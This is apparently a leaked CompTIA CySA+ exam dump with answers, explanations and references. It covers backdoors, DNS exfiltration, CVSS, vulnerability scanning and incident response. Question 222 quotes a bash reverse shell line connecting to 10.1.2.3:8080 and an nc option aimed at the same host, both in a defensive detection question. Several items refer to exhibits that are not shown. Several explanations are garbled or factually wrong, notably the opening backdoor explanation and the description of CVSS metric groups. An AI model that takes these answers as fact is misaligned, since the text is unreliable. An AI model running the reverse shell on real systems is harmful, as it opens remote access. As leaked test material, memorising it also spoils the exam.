In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of a shutdown button and an alert
message that says “Exit”. However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker.
This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.
The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element
on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.
Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to
have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or
weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.
Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can
prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant
patched the web server or improved its security in any way.
References:
? 1 What Is a Backdoor & How to Prevent Backdoor Attacks (2023)
? 2 What is Clickjacking? Tutorial & Examples | Web Security Academy
? 3 What Is Privilege Escalation and How It Relates to Web Security | Acunetix
? 4 What Is Patching? | Best Practices For Patch Management - cWatch Blog

NEW QUESTION 174

An analyst is evaluating the following vulnerability report:

Which of the following vulnerability report sections provides information about the level of impact on data confidentiality if a successful exploitation occurs?

A. Payloads
B. Metrics
C. Vulnerability
D. Profile

Answer: B

Explanation:
The correct answer is B. Metrics.

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The Metrics section of the vulnerability report provides information about the level of impact on data confidentiality if a successful exploitation occurs. The Metrics
section contains the CVE dictionary entry and the CVSS base score of the vulnerability. CVE stands for Common Vulnerabilities and Exposures and it is a
standardized system for identifying and naming vulnerabilities. CVSS stands for Common Vulnerability Scoring System and it is a standardized system for
measuring and rating the severity of vulnerabilities.
The CVSS base score is a numerical value between 0 and 10 that reflects the intrinsic characteristics of a vulnerability, such as its exploitability, impact, and
scope. The CVSS base score is composed of three metric groups: Base, Temporal, and Environmental. The Base metric group captures the characteristics of a
vulnerability that are constant over time and across user environments. The Base metric group consists of six metrics: Attack Vector, Attack Complexity, Privileges
Required, User Interaction, Scope, and Impact. The Impact metric measures the effect of a vulnerability on the confidentiality, integrity, and availability of the
affected resources.
In this case, the CVSS base score of the vulnerability is 9.8, which indicates a critical severity level. The Impact metric of the CVSS base score is 6.0, which
indicates a high impact on confidentiality, integrity, and availability. Therefore, the Metrics section provides information about the level of impact on data
confidentiality if a successful exploitation occurs.
The other sections of the vulnerability report do not provide information about the level of impact on data confidentiality if a successful exploitation occurs. The
Payloads section contains links to request and response payloads that demonstrate how the vulnerability can be exploited. The Payloads section can help an
analyst to understand how the attack works, but it does not provide a quantitative measure of the impact. The Vulnerability section contains information about the
type, group, and description of the vulnerability. The Vulnerability section can help an analyst to identify and classify the vulnerability, but it does not provide a
numerical value of the impact. The Profile section contains information about the authentication, times viewed, and aggressiveness of the vulnerability. The Profile
section can help an analyst to assess the risk and priority of the vulnerability, but it does not provide a specific measure of the impact on data confidentiality.
References:
? [1] CVE - Common Vulnerabilities and Exposures (CVE)
? [2] Common Vulnerability Scoring System SIG
? [3] CVSS v3.1 Specification Document
? [4] CVSS v3.1 User Guide
? [5] How to Read a Vulnerability Report - Security Boulevard

NEW QUESTION 176

A security analyst has found the following suspicious DNS traffic while analyzing a packet capture:
• DNS traffic while a tunneling session is active.
• The mean time between queries is less than one second.
• The average query length exceeds 100 characters. Which of the following attacks most likely occurred?

A. DNS exfiltration
B. DNS spoofing
C. DNS zone transfer
D. DNS poisoning

Answer: A

Explanation:
DNS exfiltration is a technique that uses the DNS protocol to transfer data from a compromised network or device to an attacker-controlled server. DNS exfiltration
can bypass firewall rules and security products that do not inspect DNS traffic. The characteristics of the suspicious DNS traffic in the question match the indicators
of DNS exfiltration, such as:
? DNS traffic while a tunneling session is active: This implies that the DNS protocol
is being used to create a covert channel for data transfer.
? The mean time between queries is less than one second: This implies that the DNS queries are being sent at a high frequency to maximize the amount of data
transferred.
? The average query length exceeds 100 characters: This implies that the DNS queries are encoding large amounts of data in the subdomains or other fields of the
DNS packets.
Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002- exam-objectives
? https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/
? https://www.reddit.com/r/CompTIA/comments/nvjuzt/dns_exfiltration_explanation/

NEW QUESTION 179

A security analyst is reviewing the following alert that was triggered by FIM on a critical system:

Which of the following best describes the suspicious activity that is occurring?

A. A fake antivirus program was installed by the user.

B. A network drive was added to allow exfiltration of data
C. A new program has been set to execute on system start
D. The host firewall on 192.168.1.10 was disabled.

Answer: C

Explanation:
A new program has been set to execute on system start is the most likely cause of the suspicious activity that is occurring, as it indicates that the malware has
modified the registry keys of the system to ensure its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on a
system and alerts the security analyst of any unauthorized or malicious modifications. The alert triggered by FIM shows that the malware has created a new
registry key under the Run subkey, which is used to launch programs automatically when the system starts. The new registry key points to a file named

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“update.exe” in the Temp folder, which is likely a malicious executable disguised as a legitimate update file. Official References:
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002- exam-objectives
? https://www.comptia.org/training/books/cysa-cs0-002-study-guide

NEW QUESTION 184

A security analyst detects an email server that had been compromised in the internal network. Users have been reporting strange messages in their email inboxes
and unusual network traffic. Which of the following incident response steps should be performed next?

A. Preparation
B. Validation
C. Containment
D. Eradication

Answer: C

Explanation:
After detecting a compromised email server and unusual network traffic, the next step in incident response is containment, to prevent further damage or spread of
the compromise. ReferencesC: ompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

NEW QUESTION 185

A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes.
Which of the following is the most likely scenario occurring with the time stamps?

A. The NTP server is not configured on the host.

B. The cybersecurity analyst is looking at the wrong information.
C. The firewall is using UTC time.
D. The host with the logs is offline.

Answer: A

Explanation:
The most likely scenario occurring with the time stamps is that the NTP server is not configured on the host. NTP is the Network Time Protocol, which is used to
synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most
accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP
clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly1. If the NTP server is not configured
on the host, the host will rely on its own hardware clock, which may drift over time and become inaccurate. This can cause discrepancies in the time stamps
between the host and other devices on the network, such as the firewall, which may be synchronized with a different NTP server or use a different time zone. This
can affect the security analysis and correlation of events, as well as the compliance and auditing of the network23. References: How the Windows Time Service
Works, Time Synchronization - All You Need To Know, Firewall rules logging: a closer look at our new network compliance and …

NEW QUESTION 190

A security analyst is reviewing the findings of the latest vulnerability report for a company's web application. The web application accepts files for a Bash script to
be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst
suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

A. Deploy a WAF to the front of the application.

B. Replace the current MD5 with SHA-256.
C. Deploy an antivirus application on the hosting system.
D. Replace the MD5 with digital signatures.

Answer: B

Explanation:
The correct answer is B. Replace the current MD5 with SHA-256.
The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash
collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web
application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current
MD5 with SHA-256, which is a more secure and collision- resistant hashing algorithm.
The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web
application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or
detect malicious files. Deploying an antivirus application on the hosting system © may help scan and remove malicious files from the system, but it may not prevent
hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D) may help verify the authenticity and integrity of the files,
but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

NEW QUESTION 194

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive
data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

A. Credentialed network scanning

B. Passive scanning
C. Agent-based scanning
D. Dynamic scanning

Answer: C

Explanation:
Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to
a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local

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system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand,
regardless of the system or network status or location.

NEW QUESTION 199

An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server.
Which of the following is the most likely cause?

A. The finding is a false positive and should be ignored.

B. A rollback had been executed on the instance.
C. The vulnerability scanner was configured without credentials.
D. The vulnerability management software needs to be updated.

Answer: B

Explanation:
A rollback had been executed on the instance. If a database server is restored to a previous state, it may reintroduce a vulnerability that was previously fixed. This
can happen due to backup and recovery operations, configuration changes, or software updates. A rollback can undo the patching or mitigation actions that were
applied to remediate the vulnerability. References: Vulnerability Remediation: It’s Not Just Patching, Section: The Remediation Process; Vulnerability assessment
for SQL Server, Section: Remediation

NEW QUESTION 203

A security analyst reviews the following results of a Nikto scan:

Which of the following should the security administrator investigate next?

A. tiki
B. phpList
C. shtml.exe
D. sshome

Answer: C

Explanation:
The security administrator should investigate shtml.exe next, as it is a potential vulnerability that allows remote code execution on the web server. Nikto scan
results indicate that the web server is running Apache on Windows, and that the shtml.exe file is accessible in the /scripts/ directory. This file is part of the Server
Side Includes (SSI) feature, which allows dynamic content generation on web pages. However, if the SSI feature is not configured properly, it can allow attackers
to execute arbitrary commands on the web server by injecting malicious code into the URL or the web page12. Therefore, the security administrator should check
the SSI configuration and permissions, and remove or disable the shtml.exe file if it is not needed. References: Nikto-Penetration testing. Introduction, Web
application scanning with Nikto

NEW QUESTION 208

Which of the following is a nation-state actor least likely to be concerned with?

A. Detection by MITRE ATT&CK framework.

B. Detection or prevention of reconnaissance activities.
C. Examination of its actions and objectives.
D. Forensic analysis for legal action of the actions taken

Answer: D

Explanation:
A nation-state actor is a group or individual that conducts cyberattacks on behalf of a government or a political entity. They are usually motivated by national
interests, such as espionage, sabotage, or influence operations. They are often highly skilled, resourced, and persistent, and they operate with the protection or
support of their state sponsors. Therefore, they are less likely to be concerned with the forensic analysis for legal action of their actions, as they are unlikely to face
prosecution or extradition in their own country or by international law. They are more likely to be concerned with the detection by the MITRE ATT&CK framework,
which is a knowledge base of adversary tactics and techniques based on real-world observations. The MITRE ATT&CK framework can help defenders identify,
prevent, and respond to cyberattacks by nation-state actors.
They are also likely to be concerned with the detection or prevention of reconnaissance activities, which are the preliminary steps of cyberattacks that involve

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gathering information about the target, such as vulnerabilities, network topology, or user credentials. Reconnaissance activities can expose the presence, intent,
and capabilities of the attackers, and allow defenders to take countermeasures. Finally, they are likely to be concerned with the examination of their actions and
objectives, which can reveal their motives, strategies, and goals, and help defenders understand their threat profile and attribution.
References:
? 1: MITRE ATT&CK®
? 2: What is the MITRE ATT&CK Framework? | IBM
? 3: MITRE ATT&CK | MITRE
? 4: Cyber Forensics Explained: Reasons, Phases & Challenges of Cyber Forensics
| Splunk
? 5: Digital Forensics: How to Identify the Cause of a Cyber Attack - G2

NEW QUESTION 212

A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

A. Hacklivist
B. Advanced persistent threat
C. Insider threat
D. Script kiddie

Answer: C

Explanation:
The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An
insider threat is a person or entity that has legitimate access to an organization’s systems, networks, or resources and uses that access to cause harm or damage
to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as
downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers.

NEW QUESTION 217

During an incident, some loCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps
should be taken next?

A. Isolation
B. Remediation
C. Reimaging
D. Preservation

Answer: A

Explanation:
Isolation is the first step to take after detecting some indicators of compromise (IoCs) of possible ransomware contamination. Isolation prevents the ransomware
from spreading to other servers or segments of the network, and allows the security team to investigate and contain the incident. Isolation can be done by
disconnecting the infected servers from the network, blocking the malicious traffic, or
applying firewall rules12.
References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a Ransomware Attack: A Step-by-Step Guide

NEW QUESTION 221

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the
risk to the organization. Which of the following solutions will assist in reducing the risk?

A. Deploy a CASB and enable policy enforcement

B. Configure MFA with strict access
C. Deploy an API gateway
D. Enable SSO to the cloud applications

Answer: A

Explanation:
A cloud access security broker (CASB) is a tool that can help reduce the risk of shadow IT in the enterprise by providing visibility and control over cloud
applications and services. A CASB can enable policy enforcement by blocking unauthorized or risky cloud applications, enforcing data loss prevention rules,
encrypting sensitive data, and detecting anomalous user behavior.

NEW QUESTION 222

A security analyst identified the following suspicious entry on the host-based IDS logs: bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
B. #!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
C. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
D. #!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

Answer: D

Explanation:
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on
port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints “Malicious activity”
if there is, or “OK” otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may
produce false positives. ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat
Sheet, Bash section.

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NEW QUESTION 224

Which of the following describes the best reason for conducting a root cause analysis?

A. The root cause analysis ensures that proper timelines were documented.
B. The root cause analysis allows the incident to be properly documented for reporting.
C. The root cause analysis develops recommendations to improve the process.
D. The root cause analysis identifies the contributing items that facilitated the event

Answer: D

Explanation:
The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main
goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify
appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis
assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis
can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change
analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the
sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not
capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome
or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and
actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly
documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and
reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes.
The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not
the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or
address the root causes.

NEW QUESTION 225

An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and
the cause is traced back to the vulnerability scanner. Which of the following is the cause of this issue?

A. The scanner is running without an agent installed.

B. The scanner is running in active mode.
C. The scanner is segmented improperly.
D. The scanner is configured with a scanning window.

Answer: B

Explanation:
The scanner is running in active mode, which is the cause of this issue. Active mode is a type of vulnerability scanning that sends probes or requests to the target
systems to test their responses and identify potential vulnerabilities. Active mode can provide more accurate and comprehensive results, but it can also cause
more network traffic, performance degradation, or system instability. In some cases, active mode can trigger denial-of-service (DoS) conditions or crash the target
systems, especially if they are not configured to handle the scanning requests or if they have underlying vulnerabilities that can be exploited by the scanner12.
Therefore, the analyst should use caution when performing active mode scanning, and avoid scanning business-critical or sensitive systems without proper
authorization and preparation3. References: Vulnerability Scanning for my Server - Spiceworks Community, Negative Impacts of Automated Vulnerability Scanners
and How … - Acunetix, Vulnerability Scanning Best Practices

NEW QUESTION 229

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure
environment?

A. MOU
B. NDA
C. BIA
D. SLA

Answer: D

Explanation:
SLA stands for Service Level Agreement, which is a contract that defines the various levels of maintenance to be provided by an external business vendor in a
secure environment. An SLA specifies the expectations, responsibilities, and obligations of both parties, such as the scope, quality, availability, and performance of
the service, as well as the metrics and methods for measuring and reporting the service level. An SLA also outlines the penalties or remedies for any breach or
failure of the service level. An SLA can help ensure that the external business vendor delivers the service in a timely, consistent, and secure manner, and that the
customer receives the service that meets their needs and requirements. Official References:
? https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
? https://www.comptia.org/certifications/cybersecurity-analyst
? https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your- questions-answered

NEW QUESTION 230

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes
the threat actor attributed to the malicious activity?

A. Insider threat
B. Ransomware group
C. Nation-state
D. Organized crime

Answer: C

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NEW QUESTION 231

......

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